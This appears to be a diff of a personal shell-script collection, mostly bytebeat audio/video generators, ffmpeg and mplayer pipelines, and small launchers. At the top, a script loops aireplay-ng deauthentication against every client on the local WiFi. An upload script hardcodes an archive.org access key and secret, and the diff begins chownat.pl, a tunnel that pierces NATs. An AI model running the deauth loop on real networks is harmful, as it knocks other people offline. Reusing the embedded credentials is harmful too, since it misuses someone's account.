|
||||
for TARGET in $(sudo arp-scan -I $NIC --localnet | grep -o -E \
|
||||
'([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'):
|
||||
do
|
||||
if [ "$TARGET" != "$MAC" ]:
|
||||
then
|
||||
sudo aireplay-ng -0 1 -a $BSSID -c $TARGET $NIC
|
||||
echo "Feeling Antisocial. Deauthing: " $TARGET
|
||||
fi
|
||||
done
|
||||
sleep 5
|
||||
done
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
sudo iwlist wlan0 scanning | egrep -i "ESSID|Address"
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
file=$1
|
||||
title=$2
|
||||
accesskey=VcAWy4v33VyW3pCl
|
||||
secret=gBhOUcNWzOewlXLI
|
||||
|
||||
curl --progress-bar --location --header 'x-amz-auto-make-bucket:1' \
|
||||
--header 'x-archive-meta01-collection:opensource_audio' \
|
||||
--header 'x-archive-meta-mediatype:audio' \
|
||||
--header "x-archive-meta-title:$title" \
|
||||
--header "authorization: LOW $accesskey:$secret" \
|
||||
--upload-file "$file" \
|
||||
"http://s3.us.archive.org/kof-`date -u +%s`/$file"
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
export GTK2_RC_FILES=/nonexistent
|
||||
ardour5
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/bin/bash
|
||||
let "W=32"
|
||||
let "H=18"
|
||||
F=60
|
||||
WW=800
|
||||
HH=450
|
||||
PID="$(pidof mpv)"
|
||||
let "R = $W * $H * $F"
|
||||
echo "calculated rate: $R"
|
||||
FORMAT=rgb8
|
||||
S="$1"
|
||||
(echo "main(t){for(t=1;;t++){int w=$W;int h=$H;int x=t%w;int y=((t/w)%h);int f=((int)(t/(w*h)))+1;putchar($S);}}" | gcc -x c - -lm -o /tmp/bytebeat && \
|
||||
(
|
||||
(mkfifo /tmp/bytes)
|
||||
(/tmp/bytebeat >> /tmp/bytes)&
|
||||
(cat /tmp/bytes | tee >(sleep 0.25s && aplay -t raw -f mu_law -r $R -) | tee >( cat /dev/stdin >> /tmp/last.raw) | mpv --cache=no --demuxer=rawvideo --demuxer-rawvideo-mp-format=$FORMAT --demuxer-rawvideo-fps=$F --demuxer-rawvideo-w=$W --demuxer-rawvideo-h=$H --demuxer-thread=yes --geometry=$WWx$HH+0+0 - && (killall aplay ;killall mpv) )
|
||||
)
|
||||
)
|
||||
#yuv444p yuv422p yuv440p yuv420p yuv411p yuv410p yuv444p16 yuv444p14 yuv444p12 yuv444p10 yuv444p9 yuv422p16 yuv422p14 yuv422p12 yuv422p10 yuv422p9 yuv420p16 yuv420p14 yuv420p12 yuv420p10 yuv420p9 yuva444p yuva422p yuva420p gray gray16 ya8 ya16 yuyv422 uyvy422 nv12 nv21 argb bgra abgr rgba bgr24 rgb24 rgb48 rgba64 bgra64 0rgb bgr0 0bgr rgb0 bgr8 rgb8 bgr4_byte rgb4_byte bgr4 rgb4 monob monow rgb444 rgb555 rgb565 bgr444 bgr555 bgr565 pal8 gbrp xyz12 vdpau vdpau_output vda vaapi dxva2_vld mmal xvmcmc xvmcidct uyyvyy411 gray16be vdpau_h264 vdpau_mpeg1 vdpau_mpeg2 vdpau_wmv3 vdpau_vc1 rgb48be rgb565be rgb555be bgr565be bgr555be vaapi_moco vaapi_idct yuv420p16be yuv422p16be yuv444p16be vdpau_mpeg4 rgb444be bgr444be bgr48be bgr48 yuv420p9be yuv420p10be yuv422p10be yuv444p9be yuv444p10be yuv422p9be vda_vld gbrp9be gbrp9 gbrp10be gbrp10 gbrp16be gbrp16 yuva420p9be yuva420p9 yuva422p9be yuva422p9 yuva444p9be yuva444p9 yuva420p10be yuva420p10 yuva422p10be yuva422p10 yuva444p10be yuva444p10 yuva420p16be yuva420p16 yuva422p16be yuva422p16 yuva444p16be yuva444p16 xyz12be nv16 nv20 nv20be yvyu422 vda ya16be qsv rgba64be bgra64be yuv420p12be yuv420p14be yuv422p12be yuv422p14be yuv444p12be yuv444p14be gbrp12be gbrp12 gbrp14be gbrp14 gbrap gbrap16be gbrap16 yuvj411p bayer_bggr8 bayer_rggb8 bayer_gbrg8 bayer_grbg8 bayer_bggr16 bayer_bggr16be bayer_rggb16 bayer_rggb16be bayer_gbrg16 bayer_gbrg16be bayer_grbg16 bayer_grbg16be
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
cat /tmp/last.raw | ffmpeg -f rawvideo -pix_fmt rgb555 -s 32x18 -r 60 -i - -f s16le -ac 1 -ar 34560 -i - -s 1280x720 -r 60 -c:v libvpx -qmin 10 -qmax 40 -b:v 12m -cpu-used 3 -ac 2 -c:a vorbis -ar 44100 -strict -2 -threads 4 -f webm - > /tmp/test.webm
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/bin/bash
|
||||
let "W=800"
|
||||
let "H=450"
|
||||
F=60
|
||||
WW=800
|
||||
HH=450
|
||||
PID="$(pidof mpv)"
|
||||
let "R = $W * $H * $F "
|
||||
echo "calculated rate: $R pix/s"
|
||||
FORMAT=rgb8
|
||||
S="$1"
|
||||
(echo "main(t){for(t=0;;t++){int w=$W;int h=$H;int x=t%w;int y=((t/w)%h);int f=((int)(t/(w*h)));putchar($S); if(t/(w*h)); }}" | gcc -x c - -lm -o /tmp/bytebeat && \
|
||||
(
|
||||
(mkfifo /tmp/bytes)
|
||||
(/tmp/bytebeat >> /tmp/bytes)&
|
||||
(cat /tmp/bytes | mpv --cache=no --demuxer=rawvideo --demuxer-rawvideo-mp-format=$FORMAT --demuxer-rawvideo-fps=$F --demuxer-rawvideo-w=$W --demuxer-rawvideo-h=$H --geometry=$WWx$HH+0+0 --demuxer-thread=yes - && (killall aplay ;killall mpv) )
|
||||
)
|
||||
)
|
||||
#yuv444p yuv422p yuv440p yuv420p yuv411p yuv410p yuv444p16 yuv444p14 yuv444p12 yuv444p10 yuv444p9 yuv422p16 yuv422p14 yuv422p12 yuv422p10 yuv422p9 yuv420p16 yuv420p14 yuv420p12 yuv420p10 yuv420p9 yuva444p yuva422p yuva420p gray gray16 ya8 ya16 yuyv422 uyvy422 nv12 nv21 argb bgra abgr rgba bgr24 rgb24 rgb48 rgba64 bgra64 0rgb bgr0 0bgr rgb0 bgr8 rgb8 bgr4_byte rgb4_byte bgr4 rgb4 monob monow rgb444 rgb555 rgb565 bgr444 bgr555 bgr565 pal8 gbrp xyz12 vdpau vdpau_output vda vaapi dxva2_vld mmal xvmcmc xvmcidct uyyvyy411 gray16be vdpau_h264 vdpau_mpeg1 vdpau_mpeg2 vdpau_wmv3 vdpau_vc1 rgb48be rgb565be rgb555be bgr565be bgr555be vaapi_moco vaapi_idct yuv420p16be yuv422p16be yuv444p16be vdpau_mpeg4 rgb444be bgr444be bgr48be bgr48 yuv420p9be yuv420p10be yuv422p10be yuv444p9be yuv444p10be yuv422p9be vda_vld gbrp9be gbrp9 gbrp10be gbrp10 gbrp16be gbrp16 yuva420p9be yuva420p9 yuva422p9be yuva422p9 yuva444p9be yuva444p9 yuva420p10be yuva420p10 yuva422p10be yuva422p10 yuva444p10be yuva444p10 yuva420p16be yuva420p16 yuva422p16be yuva422p16 yuva444p16be yuva444p16 xyz12be nv16 nv20 nv20be yvyu422 vda ya16be qsv rgba64be bgra64be yuv420p12be yuv420p14be yuv422p12be yuv422p14be yuv444p12be yuv444p14be gbrp12be gbrp12 gbrp14be gbrp14 gbrap gbrap16be gbrap16 yuvj411p bayer_bggr8 bayer_rggb8 bayer_gbrg8 bayer_grbg8 bayer_bggr16 bayer_bggr16be bayer_rggb16 bayer_rggb16be bayer_gbrg16 bayer_gbrg16be bayer_grbg16 bayer_grbg16be
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
#!/bin/bash
|
||||
cat "$1" | ffmpeg \
|
||||
-vsync cfr \
|
||||
-c:v rawvideo\
|
||||
-top:v 1 \
|
||||
-video_size 640x360 \
|
||||
-pixel_format yuv420p \
|
||||
-f rawvideo \
|
||||
-fflags nobuffer \
|
||||
-i - \
|
||||
-c:a pcm_s16le \
|
||||
-ac 2 \
|
||||
-ar 55296000 \
|
||||
-f s16le \
|
||||
-fflags nobuffer \
|
||||
-analyzeduration 0 \
|
||||
-i - \
|
||||
-c:v libx264 \
|
||||
-thread_type:v slice+frame \
|
||||
-map 0:0,1:0 \
|
||||
-map 1:0 \
|
||||
-loglevel info \
|
||||
-vf "scale=1280:720" \
|
||||
-af "aresample=async=1" \
|
||||
-profile:v main \
|
||||
-preset:v faster \
|
||||
-tune zerolatency \
|
||||
-g 60 \
|
||||
-x264opts level=3.1:bitrate=1000:vbv-bufsize=2000:vbv-maxrate=1000 \
|
||||
-strict -2 \
|
||||
-acodec aac \
|
||||
-ab 192000 \
|
||||
-ac 2 \
|
||||
-ar 44100 \
|
||||
-r 30 out.mp4
|
||||
@@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
let "W=32"
|
||||
let "H=18"
|
||||
F=60
|
||||
WW=800
|
||||
HH=450
|
||||
PID="$(pidof mpv)"
|
||||
let "R = $W * $H * $F "
|
||||
echo "calculated rate: $R"
|
||||
FORMAT=y8
|
||||
S="$1"
|
||||
(echo "main(t){for(t=0;;t++){int w=$W;int h=$H;int x=t%w;int y=(t/w);int f=((int)(t/(w*h)));if(y>=h){y=0;};putchar($S);}}" | gcc -x c - -lm -o /tmp/bytebeat && \
|
||||
(/tmp/bytebeat >> /tmp/bytes)&
|
||||
)
|
||||
#yuv444p yuv422p yuv440p yuv420p yuv411p yuv410p yuv444p16 yuv444p14 yuv444p12 yuv444p10 yuv444p9 yuv422p16 yuv422p14 yuv422p12 yuv422p10 yuv422p9 yuv420p16 yuv420p14 yuv420p12 yuv420p10 yuv420p9 yuva444p yuva422p yuva420p gray gray16 ya8 ya16 yuyv422 uyvy422 nv12 nv21 argb bgra abgr rgba bgr24 rgb24 rgb48 rgba64 bgra64 0rgb bgr0 0bgr rgb0 bgr8 rgb8 bgr4_byte rgb4_byte bgr4 rgb4 monob monow rgb444 rgb555 rgb565 bgr444 bgr555 bgr565 pal8 gbrp xyz12 vdpau vdpau_output vda vaapi dxva2_vld mmal xvmcmc xvmcidct uyyvyy411 gray16be vdpau_h264 vdpau_mpeg1 vdpau_mpeg2 vdpau_wmv3 vdpau_vc1 rgb48be rgb565be rgb555be bgr565be bgr555be vaapi_moco vaapi_idct yuv420p16be yuv422p16be yuv444p16be vdpau_mpeg4 rgb444be bgr444be bgr48be bgr48 yuv420p9be yuv420p10be yuv422p10be yuv444p9be yuv444p10be yuv422p9be vda_vld gbrp9be gbrp9 gbrp10be gbrp10 gbrp16be gbrp16 yuva420p9be yuva420p9 yuva422p9be yuva422p9 yuva444p9be yuva444p9 yuva420p10be yuva420p10 yuva422p10be yuva422p10 yuva444p10be yuva444p10 yuva420p16be yuva420p16 yuva422p16be yuva422p16 yuva444p16be yuva444p16 xyz12be nv16 nv20 nv20be yvyu422 vda ya16be qsv rgba64be bgra64be yuv420p12be yuv420p14be yuv422p12be yuv422p14be yuv444p12be yuv444p14be gbrp12be gbrp12 gbrp14be gbrp14 gbrap gbrap16be gbrap16 yuvj411p bayer_bggr8 bayer_rggb8 bayer_gbrg8 bayer_grbg8 bayer_bggr16 bayer_bggr16be bayer_rggb16 bayer_rggb16be bayer_gbrg16 bayer_gbrg16be bayer_grbg16 bayer_grbg16be
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
echo "$1" > /tmp/tc
|
||||
echo " $2" >> /tmp/tc
|
||||
cnee --replay --mouse --keyboard -f ~/one.xns
|
||||
cnee --retype-file /tmp/tc
|
||||
cnee --replay --mouse --keyboard -f ~/two.xns
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh -x
|
||||
bitlbee -n -v -P $HOME/opt/bitlbee/var/run/bitlbee.pid \
|
||||
-c $HOME/etc/bitlbee/bitlbee.conf \
|
||||
-d $HOME/opt/bitlbee/var/bitlbee
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
cd /opt/blender #blender-2.65a-linux-glibc211-x86_64
|
||||
primusrun ./blender
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
pactl load-module module-loopback source=jack_in sink=bluez_sink.D8_AF_F1_25_73_78.a2dp_sink
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
ffserver & ffmpeg -threads 4 -re -i "$1" -r 25 http://localhost:7777/live.ffm && pkill ffserver
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
PORT=10000
|
||||
PORT=$1
|
||||
/usr/bin/socat - UDP4-DATAGRAM:224.0.0.1:$PORT,so-broadcast < /dev/stdin
|
||||
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
xorriso -as cdrecord -v speed=4 dev=/dev/sr0 -driveropts=burnfree -dao "$*"
|
||||
beep
|
||||
eject
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
string="$1"
|
||||
echo "main(t){for(t=0;;t++)putchar($1);}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | aplay -r 8000 -
|
||||
#mplayer -fs -really-quiet -demuxer rawvideo -rawvideo fps=44.1:w=32:h=24:y8 /dev/stdin
|
||||
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
string="$1"
|
||||
echo "main(t){for(t=0;;t++)putchar((char)($1));}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | aplay -r $2 -
|
||||
#mplayer -fs -really-quiet -demuxer rawvideo -rawvideo fps=44.1:w=32:h=24:y8 /dev/stdin
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
S="$1"
|
||||
(echo "main(t){for(t=0;;t++)putchar($S);}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | tee "/tmp/`date`.raw" | mplayer -zoom -x 800 -y 450 -geometry 75%:25% -nosound -nocache -demuxer rawvideo -rawvideo fps=60:w=32:h=18:format=y8 - > /dev/null )
|
||||
Executable
+3
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
S="$1"
|
||||
(echo "main(t){for(t=0;;t++)putchar($S);}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | mplayer -zoom -x 800 -y 450 -geometry 75%:25% -nosound -nocache -demuxer rawvideo -rawvideo fps=60:w=320:h=180:format=y8 - > /dev/null )
|
||||
Executable
+3
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
S="$1"
|
||||
(cat "$S" | mplayer -zoom -x 800 -y 450 -geometry 75%:25% -nosound -nocache -demuxer rawvideo -rawvideo fps=60:w=320:h=180:format=y8 - > /dev/null )
|
||||
Executable
+5
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
S="$1";
|
||||
rm /tmp/last.dat;
|
||||
DD="`date +%m-%d-%H_%M_%S`".dat;
|
||||
(echo "main(t){for(t=0;;t++)putchar($S);}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | tee /tmp/last.dat | mplayer -zoom -x 800 -y 450 -geometry 75%:25% -nosound -nocache -demuxer rawvideo -rawvideo fps=60:w=32:h=18:format=y8 - > /dev/null)
|
||||
Executable
+3
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
S="$1"
|
||||
(echo "main(t){for(t=0;;t++)putchar($S);}" | gcc -x c - -lm -o /tmp/bytebeat && /tmp/bytebeat | mplayer -zoom -x 800 -y 450 -geometry 75%:25% -nosound -nocache -demuxer rawvideo -rawvideo fps=60:w=32:h=18:format=y8 - > /dev/null )
|
||||
Executable
+32
@@ -0,0 +1,32 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Delay before starting
|
||||
DELAY=5
|
||||
|
||||
# Sound notification to let one know when recording is about to start (and ends)
|
||||
beep() {
|
||||
paplay /usr/share/sounds/KDE-Im-Irc-Event.ogg &
|
||||
}
|
||||
|
||||
# Duration and output file
|
||||
if [ $# -gt 0 ]; then
|
||||
D="--duration=$@"
|
||||
else
|
||||
echo Default recording duration 10s to /tmp/recorded.gif
|
||||
D="--duration=10 /tmp/recorded.gif"
|
||||
fi
|
||||
XWININFO=$(xwininfo)
|
||||
read X < <(awk -F: '/Absolute upper-left X/{print $2}' <<< "$XWININFO")
|
||||
read Y < <(awk -F: '/Absolute upper-left Y/{print $2}' <<< "$XWININFO")
|
||||
read W < <(awk -F: '/Width/{print $2}' <<< "$XWININFO")
|
||||
read H < <(awk -F: '/Height/{print $2}' <<< "$XWININFO")
|
||||
|
||||
echo Delaying $DELAY seconds. After that, byzanz will start
|
||||
for (( i=$DELAY; i>0; --i )) ; do
|
||||
echo $i
|
||||
sleep 1
|
||||
done
|
||||
|
||||
beep
|
||||
byzanz-record --verbose --delay=0 --x=$X --y=$Y --width=$W --height=$H $D
|
||||
beep
|
||||
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
echo `basename $(pwd)` > .gitignore
|
||||
#(cat `ls | grep '.pde\|.c\|.cpp\|.h'` | sed '1s/^/#include <cprocessing.hpp>\nusing namespace cprocessing;\n/' | g++ -x c++ - -lcprocessing -lGLU -lGL -lglut -O3 -Wall -o `basename $(pwd)` ) && (echo "Compilation OK! ..running" && ./`basename $(pwd)`) || echo "Compilation failed"
|
||||
(cat `ls | grep '.pde\|.c\|.cpp\|.h'` | g++ -x c++ - -lcprocessing -lGLU -lGL -lglut -O3 -Wall -o `basename $(pwd)` ) && (echo "Compilation OK! ..running" && ./`basename $(pwd)`) || echo "Compilation failed"
|
||||
|
||||
Executable
+6832
File diff suppressed because it is too large
Load Diff
Executable
+864
@@ -0,0 +1,864 @@
|
||||
#!/usr/bin/perl
|
||||
#
|
||||
# Copyright (c) 2004-2005 Samy Kamkar
|
||||
# Portions Copyright (c) 2005 Matthew Balman
|
||||
#
|
||||
# chownat, pronounced "chone nat", v0.08a-beta
|
||||
# developed 08/16/04
|
||||
#
|
||||
# chownat allows two peers behind two seperate NATs
|
||||
# with NO port forwarding and NO DMZ to communicate
|
||||
# with each other. more importantly, it opens up a
|
||||
# tunnel between the two machines so one peer can
|
||||
# access a service, such as a web server, on the other
|
||||
# machine which is also behind a NAT. there is NO
|
||||
# middle man, NO proxy, NO 3rd party, and the
|
||||
# application runs as an unprivileged user on both
|
||||
# ends.
|
||||
#
|
||||
# example usage:
|
||||
# nat1 w/ssh server$ ./chownat.pl -d -s 22 nat2.com
|
||||
# nat2$ ./chownat.pl -d -c 1234 nat1.com
|
||||
#
|
||||
# nat2 runs `ssh -p 1234 username@localhost` to ssh as 'username' to
|
||||
# machine nat1 and gets right through any NATs on either or both sides
|
||||
#
|
||||
#
|
||||
#######################################################################
|
||||
|
||||
|
||||
|
||||
# some modules the system might not have but we need
|
||||
my @MODULES = qw/
|
||||
Digest::MD4
|
||||
Time::HiRes
|
||||
/;
|
||||
use Digest::MD4;
|
||||
use Time::HiRes;
|
||||
|
||||
# check we have the appropriate modules installed and install necessary ones
|
||||
check_modules(@MODULES);
|
||||
|
||||
|
||||
# check for correct usage
|
||||
my ($DEBUG, $mode, $localport, $remoteaddr, $remoteport) = &usage();
|
||||
|
||||
my $localhost = "127.0.0.1";
|
||||
my $size = 262140;
|
||||
$ENV{LANG} = "C";
|
||||
local $/ = undef; #otherwise, packets sent every \n
|
||||
|
||||
use strict;
|
||||
use CPAN;
|
||||
use Socket;
|
||||
use ExtUtils::MakeMaker qw(prompt);
|
||||
use IO::Select;
|
||||
#use Time::HiRes qw( usleep ualarm gettimeofday tv_interval );
|
||||
|
||||
|
||||
my $comp = undef;
|
||||
my $decomp = undef;
|
||||
my $digest = undef;
|
||||
my $digest_hex = undef;
|
||||
my $digest_base64 = undef;
|
||||
my $digestSize = 0;
|
||||
|
||||
|
||||
#ucomment next 2 lines to use Compression
|
||||
#use Compress::LZV1;
|
||||
#$comp = \&compress; $decomp = \&uncompress;
|
||||
|
||||
#uncomment one of the 3 groups below in order to use Digests to assure message integrity
|
||||
|
||||
#use Digest::SHA1 qw(sha1 sha1_hex sha1_base64); #too strong/slow for what we need, also longer hash size
|
||||
#$digest = \&sha1; $digest_hex = \&sha1_hex; $digest_base64 = \&sha1_base64;
|
||||
#$digestSize = 20;
|
||||
|
||||
#use Digest::Perl::MD4 qw(md4 md4_hex md4_base64); #Slower MD4, but should use if Digest::MD4 is unavailable
|
||||
#$digest = \&md4; $digest_hex = \&md4_hex; $digest_base64 = \&md4_base64;
|
||||
#$digestSize = 16;
|
||||
|
||||
#use Digest::MD4 qw(md4 md4_hex md4_base64); #preferred fastest/smallest overhead Hash digest method
|
||||
$digest = \&Digest::MD4::md4; $digest_hex = \&Digest::MD4::md4_hex; $digest_base64 = \&Digest::MD4::md4_base64;
|
||||
$digestSize = 16;
|
||||
|
||||
&debug("Opening socket on port $remoteport");
|
||||
socket(CHOWNAT, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "socket: $!";
|
||||
bind(CHOWNAT, sockaddr_in($remoteport, INADDR_ANY)) || die "bind: $!";
|
||||
|
||||
$remoteaddr = inet_aton($remoteaddr);
|
||||
$remoteport = sockaddr_in($remoteport, $remoteaddr);
|
||||
my $disconnectMe=0;
|
||||
my $disconnectThem=0;
|
||||
my @inBuff;
|
||||
my @outBuff;
|
||||
my @todo;
|
||||
my @confirm;
|
||||
my @missing;
|
||||
my $expectConfirmed=0;
|
||||
my $recentlyMissed;
|
||||
my $compressFlag = 0;
|
||||
my $digestFlag = 0;
|
||||
my $totalMissing=0;
|
||||
my $id = 0;
|
||||
my $expected=0;
|
||||
my $lastPacket;
|
||||
my $sConfirmed;
|
||||
my $mConfirmed;
|
||||
my $lastConfirmed=-1;
|
||||
my $lastMissed=0;
|
||||
my $closed=0;
|
||||
my $select;
|
||||
my $lastWritten=0;
|
||||
my $packet;
|
||||
my $command;
|
||||
|
||||
if ($mode =~ /x/ && $comp != undef) {
|
||||
$compressFlag = 1;
|
||||
}
|
||||
if ($mode =~ /h/ && $digest != undef) {
|
||||
$digestFlag = 1;
|
||||
}
|
||||
|
||||
# client mode
|
||||
if ($mode =~ /c/)
|
||||
{
|
||||
# open a port on the machine to allow connections
|
||||
&client_bind($localport);
|
||||
|
||||
# we received a connection to the local port
|
||||
while (my $ipaddr = accept(SOCK, WAITCLI))
|
||||
{
|
||||
&debug("Received a connection to the local port");
|
||||
$lastPacket = time();
|
||||
# establish a "connection" with the remote chownat
|
||||
&client_chownat_connect();
|
||||
|
||||
my %connections;
|
||||
my $inputlen;
|
||||
my @ready;
|
||||
my @missing;
|
||||
my $preDigest = 0;
|
||||
my $retryCounter=0;
|
||||
|
||||
$select = IO::Select->new(\*SOCK, \*CHOWNAT);
|
||||
|
||||
while (!$closed)
|
||||
{
|
||||
while (@ready = $select->can_read(5))
|
||||
{
|
||||
foreach my $fh (@ready)
|
||||
{
|
||||
if (fileno($fh) == fileno(SOCK))
|
||||
{
|
||||
# Read a buffer full of data
|
||||
unless (sysread($fh, $_, $size))
|
||||
{
|
||||
#debug("1Disconnect area");
|
||||
if($disconnectMe==0) {
|
||||
debug("REMOTE: 1Attempting to disconnect");
|
||||
#$disconnectMe=1;
|
||||
checkDisconnect(1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if($compressFlag) {
|
||||
$_ = comp($_);
|
||||
}
|
||||
if($digestFlag) {
|
||||
$_ .= digest($_);
|
||||
}
|
||||
$outBuff[$id] = $_;
|
||||
debug("sent ".$id);
|
||||
chowout(chr(9) . chr(($id & 0xFF00) / 0x0100) . chr($id & 0xff) . $_);
|
||||
#$lastPacket = time();
|
||||
$id++;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# We got a packet from the remote CHOWNAT
|
||||
unless (recv($fh, $packet, $size, 0))
|
||||
{
|
||||
debug("2Disconnect area");
|
||||
if($disconnectMe==0) {
|
||||
debug("REMOTE: 2Attempting to disconnect");
|
||||
#$disconnectMe = 1;
|
||||
checkDisconnect(1);
|
||||
}
|
||||
}
|
||||
#$lastPacket = time();
|
||||
my $command = ord($packet);
|
||||
my $len = length($packet);
|
||||
my $data="";
|
||||
my $got = ord(substr($packet,1,1))*0x0100 + ord(substr($packet,2,1));
|
||||
#debug("got = $got,command = $command");
|
||||
if(length($packet)>3) {
|
||||
#debug("command=$command");
|
||||
if($digestFlag) {
|
||||
$preDigest = substr($packet, $len-$digestSize,$digestSize, "");
|
||||
}
|
||||
$data = substr($packet, 3, $len-3, "");
|
||||
if($digestFlag) {
|
||||
my $postDigest = digest($data);
|
||||
if($preDigest != $postDigest) {
|
||||
debug("Data Corrupt!!!");
|
||||
}
|
||||
}
|
||||
if($compressFlag) {
|
||||
$data = decomp $data;
|
||||
}
|
||||
}
|
||||
|
||||
#keepalive packet w/ remote's $expected next packet
|
||||
if($command == 0)
|
||||
{
|
||||
next;
|
||||
# debug("keepalive $got");
|
||||
# if($id!=$got) {
|
||||
# my $i;
|
||||
# for($i=$got;$i<$id;$i++) {
|
||||
# &debug("Remote missed $i, on $id");
|
||||
# send(CHOWNAT, chr(9) . chr(($i & 0xFF00) / 0x0100) . c#hr($i & 0xff) . $outBuff[$i], 0, $remoteport);
|
||||
# }
|
||||
# }
|
||||
}
|
||||
# remote NAT wants to close the connection
|
||||
elsif ($command == 2)
|
||||
{
|
||||
debug("REMOTE: 3Attempting to disconnect");
|
||||
$disconnectThem = 1;
|
||||
checkDisconnect();
|
||||
}
|
||||
# connection opened
|
||||
elsif ($command == 3)
|
||||
{
|
||||
$disconnectMe = 0;
|
||||
$disconnectThem = 0;
|
||||
next;
|
||||
}
|
||||
# remote chownat is missing some packets
|
||||
elsif ($command == 8)
|
||||
{
|
||||
&debug("Remote needs $got, on $id");
|
||||
chowout( chr(9) . chr(($got & 0xFF00) / 0x0100) . chr($got & 0xff) . $outBuff[$got]);
|
||||
}
|
||||
# Got data from remote CHOWNAT for our local socket
|
||||
elsif ($command == 9)
|
||||
{
|
||||
#debug("local $data = -->".$data."<--");
|
||||
processData($data,$got);
|
||||
}
|
||||
elsif ($command == 10) #confirmation of delivery
|
||||
{
|
||||
confirmation($got);
|
||||
}
|
||||
} # else
|
||||
} # foreach fh
|
||||
keepalive();
|
||||
} # while select
|
||||
#if($totalMissing) {
|
||||
# if(time() - $lastMissed > 0) { #ask for missing packets every 1/2 second
|
||||
# requestMissing($lastWritten,65536);
|
||||
# }
|
||||
#}
|
||||
checkConfirm();
|
||||
keepalive();
|
||||
} # while not closed
|
||||
debug("Connection closed, exiting one loop");
|
||||
} # while accept
|
||||
debug("exiting");
|
||||
exit;
|
||||
}
|
||||
|
||||
# server mode
|
||||
elsif ($mode =~ /s/)
|
||||
{
|
||||
$select = IO::Select->new(\*CHOWNAT);
|
||||
my $command;
|
||||
my @ready;
|
||||
my $preDigest = 0;
|
||||
while (1)
|
||||
{
|
||||
while(@ready = $select->can_read(5))
|
||||
{
|
||||
foreach my $fh (@ready)
|
||||
{
|
||||
if (fileno(SOCK) && fileno $fh == fileno SOCK)
|
||||
{
|
||||
# send to chownat
|
||||
unless (sysread($fh, $_, $size))
|
||||
{
|
||||
debug("4Disconnect area");
|
||||
if($disconnectMe==0) {
|
||||
&debug("REMOTE: 4Attempting to disconnect");
|
||||
#$disconnectMe = 1;
|
||||
checkDisconnect(1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if($compressFlag == 1) {
|
||||
$_ = comp($_);
|
||||
}
|
||||
if($digestFlag == 1) {
|
||||
$_ .= digest($_);
|
||||
}
|
||||
$outBuff[$id]=$_;
|
||||
debug("sent ".$id);
|
||||
send(CHOWNAT, chr(9) . chr(($id & 0xFF00) / 0x0100) . chr($id & 0xFF) . $_, 0, $remoteport);
|
||||
#$lastPacket = time();
|
||||
$id++;
|
||||
}
|
||||
}
|
||||
# send to client
|
||||
else
|
||||
{
|
||||
unless (recv($fh, $packet, $size, 0))
|
||||
{
|
||||
debug("5Disconnect area");
|
||||
if($disconnectMe==0) {
|
||||
&debug("REMOTE: 5Attempting to disconnect");
|
||||
#$disconnectMe = 1;
|
||||
checkDisconnect(0);
|
||||
}
|
||||
}
|
||||
#$lastPacket = time();
|
||||
my $command = ord($packet);
|
||||
my $len = length($packet);
|
||||
my $len = length($packet);
|
||||
my $data="";
|
||||
my $got = ord(substr($packet,1,1))*0x0100 + ord(substr($packet,2,1));
|
||||
#debug("got = $got,command = $command");
|
||||
if($len>3) {
|
||||
if($digestFlag==1) {
|
||||
$preDigest = substr($packet, $len-$digestSize,$digestSize, "");
|
||||
}
|
||||
#debug("they = ".substr($command,2,2));
|
||||
$data = substr($packet, 3, length($packet)-3, "");
|
||||
if($digestFlag==1) {
|
||||
my $postDigest = digest($data);
|
||||
if($preDigest != $postDigest) {
|
||||
debug("Data Corruption!!");
|
||||
}
|
||||
}
|
||||
#debug("data = [$data]");
|
||||
if($compressFlag==1) {
|
||||
$data = decomp $data;
|
||||
}
|
||||
}
|
||||
# user is trying to connect to me -- new connection
|
||||
if($command == 0)
|
||||
{
|
||||
next;
|
||||
#debug("keepalive $got");
|
||||
#if($id!=$got) {
|
||||
# my $i;
|
||||
# for($i=$got;$i<$id;$i++) {
|
||||
# &debug("Remote missed $i, on $id");
|
||||
# send(CHOWNAT, chr(9) . chr(($i & 0xFF00) / 0x0100) . chr($i & 0xff) . $outBuff[$i], 0, $remoteport);
|
||||
# }
|
||||
#}
|
||||
}
|
||||
# remote NAT wants to close the connection
|
||||
elsif ($command == 1) #eq "01\n")
|
||||
{
|
||||
$disconnectMe = 0;
|
